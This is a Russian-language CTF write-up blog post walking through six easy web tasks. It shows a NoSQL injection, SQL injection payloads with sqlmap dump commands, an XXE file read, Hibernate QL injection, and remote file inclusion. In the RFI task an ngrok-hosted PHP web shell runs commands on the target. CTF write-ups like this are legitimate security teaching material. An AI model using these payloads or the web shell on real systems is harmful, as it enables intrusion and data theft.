WEB100 с CTF Кибершколы
Привет! Буквально сегодня ночью закончился CTF на базе Кибершколы Сколково&Политеха, поэтому по просьбам участников решил накатать райтап на все таски. Поехали!
(Тк райтап получается большим, то некоторые моменты подробно расписывать не буду, пишите в комментарии, если что будет не понятно:)
EASY WEB 100: Bakery
Site: http://bakery.p.myctf.ru/
Давайте зайдем на сайт:
Потыкав на кнопочки, находим еще одну страницу /Sweet.html :
Как вы могли заметить:
1. Есть форма авторизации.
2. Много намеков на http cookie
Сразу предупрежу,
или проще говоря, печения были разводом и никак не относились к решению таска.
Вернемся к форме авторизации. Наигравшись в CTF'ы с сентября, уже по привычке стал тестировать формы на NoSQL injection ( https://habrahabr.ru/company/xakep/blog/143909/ ). И тут удача не обошла стороной:)
Скажем проще. У нас есть форма отправки логина и пароля, перехваченная в BurpSuite:
И вместо того, чтобы отсылать параметры login и password, мы отошлем login[$ne] и password[$ne], означающие что нам должен вернуться аккаунт, у которого логин и пароль будут НЕ идентичны с теми данными, которые отослали мы. Поэтому мы можем смело вписать в них случайные данные:
На этом таск можно считать решенным:)
Flag: N05Ql_1nject10n5_is_very_c00l
EASY WEB 100: Matrix
Site: http://matrix.p.myctf.ru/
Первый взгляд на главную страницу:
Работала только форма логина.
Ну на этот раз по классике проверяем ее на SQL injection.
Введем в поле логина строку
' or 1 -- 1
которая дополнит SQL запрос и попытается нас авторизовать под первого попавшегося пользователя. Тестируем и..
Авторизовались, перед нами Boolean-based SQL injection! Но флага нет.. Тогда попробуем использовать sqlmap и вытащим его из базы данных!
Запрос авторизации:
Строка запуска SQLmap:
sqlmap -u "http://matrix.p.myctf.ru/" --data="login=admin&password=pass" --level=5
level=5 означает подробную проверку, иначе уязвимость не находилась.
Обучать использованию sqlmap сейчас не буду, скажу только, что как только мы получили нужные названия базы и таблицы, то указываем их соответственно с аргументами -D и -T и приписываем аргумент --dump для скачивания данных:
sqlmap -u "http://matrix.p.myctf.ru/" --data="login=admin&password=pass" -D ctf -T flag --dump
Немного подождем, и получим флаг:
Flag: bl1nd_bu7_dan63r0u5
EASY WEB 100: Blackhat
Site: http://blackhat.p.myctf.ru/
Главная страница:
Боковая менюшка:
Что имеется на данный момент:
1. Форма загрузки файлов
2. По одной из ссылок меню XML файл.
<?xml version="1.0" encoding="ISO-8859-1"?>
<creds>
<user>user</user>
<pass>password</pass>
</creds>
Попробуем обьединить пункты и отослать данный файл:
Как видим строка помещенная в
Перед нами обыкновенная XXE уязвимость!
Подробнее о ней можете почитать тут - https://habrahabr.ru/company/pentestit/blog/325270/
Теперь мы можем прочитать любой файл в системе (если у пользователя есть права на чтение):
Нам остается подобрать путь до флага, который как позже оказалось хранился в корне под именем "flag":
You have logged in as ctf1017{Let_It_snow}
Переходим к следующему таску!
EASY WEB 100: Hipe
Site: http://hipe.p.myctf.ru/
Главная страница:
Каждая из кнопок над авторизацией ведет нас на страницу /haip.html :
Впринципе, нас тут интересует опять же только форма авторизации на главной странице. Попробуем вставить кавычку:
О, да у нас тут опять SQL injection! Опять же закидываем в SQLmap:
sqlmap -u http://hipe.p.myctf.ru/ --data="login=admin&password=password"
И результат работы:
Прекрасно, уязвимость найдена!
Пробуем получить данные из базы ctf и таблицы flag:
sqlmap -u http://hipe.p.myctf.ru/ --data="login=admin&password=password" -D ctf -T flag --dump
Вывод:
Ерунда какая то.. Давайте попробуем с помощью аргумента -C вручную указать, что у нас есть колонка flag (по аналогии с предыдущим таском на SQL injection):
sqlmap -u http://hipe.p.myctf.ru/ --data="login=admin&password=password" -D ctf -T flag -C flag --dump
Успех!
Flag: d0nt_sh0w_y0ur_3rr0r5
EASY WEB 100: Devil
Site: http://devil.p.myctf.ru/
Главная страница сайта:
Первая ссылка меню ведет на /FlagHere.html, где его, конечно же, нет:)
Вторая ссылка меню ведет на /MaybeHere.html, где тоже ничего интересного.
Третья ссылка меню ведет на /?page=flag, на которой надпись "Try harder! :)"
Обьединим то, что нас может заинтересовать:
1. Форма авторизации:
Яснопонятно - она фейковая:(
2. /?page=flag
Предположим, что мы отсылаем в page название файла, который будет отображаться.
Проверим, существует ли файл flag.php:
Наша теория подтвердилась! У нас есть уязвимость Local File inclusion (подробнее тут http://itsecwiki.org/index.php?title=Lfi)
Теперь мы можем получить содержимое файла flag.php (в случае, если в ней есть скрытый код) используя PHP wrapper (подробнее http://php.net/manual/ru/wrappers.php) :
php://filter/convert.base64-encode/resource=flag
Почему то не сработало..
Хорошо, а что, если тут присутствует Remote File inclusion (подробнее https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion)? Если вкратце, то уязвимость позволяет запускать код, который хранится на удаленном сервере.
Протестируем! Отошлем ссылку на countersite.org (обратите внимание, что .php в ссылку я не вписал тк он припишется кодом программы автоматически):
Ответ от сервера уже 29000 символов! Значит сервер сделал запрос на сайт и распечатал его содержимое -> уязвимость присутствует! Начнем эксплуатацию.
Запускаем локальный веб-сервер (127.0.0.1:80), запускаем утилиту ngrok (./ngrok http 80) для работы с ним из глобальной сети и получаем его адрес (в данный момент уже будет выключен) http://d914bb49.ngrok.io :
Теперь поместим на него файл shell.txt с содержимым:
<?php system($_GET['c']); ?>
После чего отошлем на него ссылку в формате http://d914bb49.ngrok.io/shell.txt? (знак ? в конце отбрасывает окончание .php, приписываемое автоматически кодом скрипта) и припишем GET переменную "c" с командой "pwd":
Она исполнилась! Теперь мы можем исполнять любую команду на сервере!
Прочитаем флаг командой cat flag.php:
А вот и флаг:)
<?php
$FLAG = "ctf1017{I_l0ve_all_files_in_this_w0rld}";
echo "Try harder! :)";
?>
P.S. заглянул в код index.php - вариант с php wappers не сработал, тк создатель таска отключил возможность их использования.
EASY WEB 100: Mail-service
Site: http://venus.p.myctf.ru/
Главная страница сайта:
У нас одна форма, начнем тестирование опять же на SQL injection. Строка почты должна начинаться с почтового вида (например, t@t.t), иначе высвечивается следующая ошибка:
Чекаем:
Вероятнее всего уязвимость присутствует. Но в ходе тестирования наблюдалось неадекватное поведение. Вероятнее всего это не простая SQL injection.
Давайте заглянем в html комментарии страницы:
<!-- Powered by Apache Tomcat, Hibernate 5.2 and JSP 1.1 -->
Сразу после этого я начал яростно гуглить и нагуглил следующее https://xakep.ru/2015/12/31/easy-hack-hibernate-ql/.
Если вкратце, то вместо одинарной кавычки ' нужно писать \''.
Например, запрос
t@t.t' or 1=1 -- 1
должен быть записан как
t@t.t\'' or 1=1 -- 1
К тому же, если мы хотим вписать строку, то для этого лучше использовать либо двойную кавычку ", либо 0x.
Забиваем в SQLmap следующее (--hex отвечает за кодирование ввода/вывода, --level=5 за количество тестов):
sqlmap -u http://venus.p.myctf.ru/submit.html --data="email=t@t.t\'&reason=123" --hex --level=5
Далее получаем флаг (из-за лагов базы данных и количестве полей в нужной таблице пришлось вручную писать запрос) :
sqlmap -u http://venus.p.myctf.ru/submit.html --data="email=t@t.t\'&reason=123" --hex --level=5 -D askme --sql-query="select flag from _flag where flag like 0x253130313725"
И получаем флаг!
ctf1017{N3v3r_7ru57_0rm_3v3r11}
P.S. Как будет время напишу райтапы на задания посложнее.
- Автор: drakylar
- Комментарии: 0
- Просмотры: 11421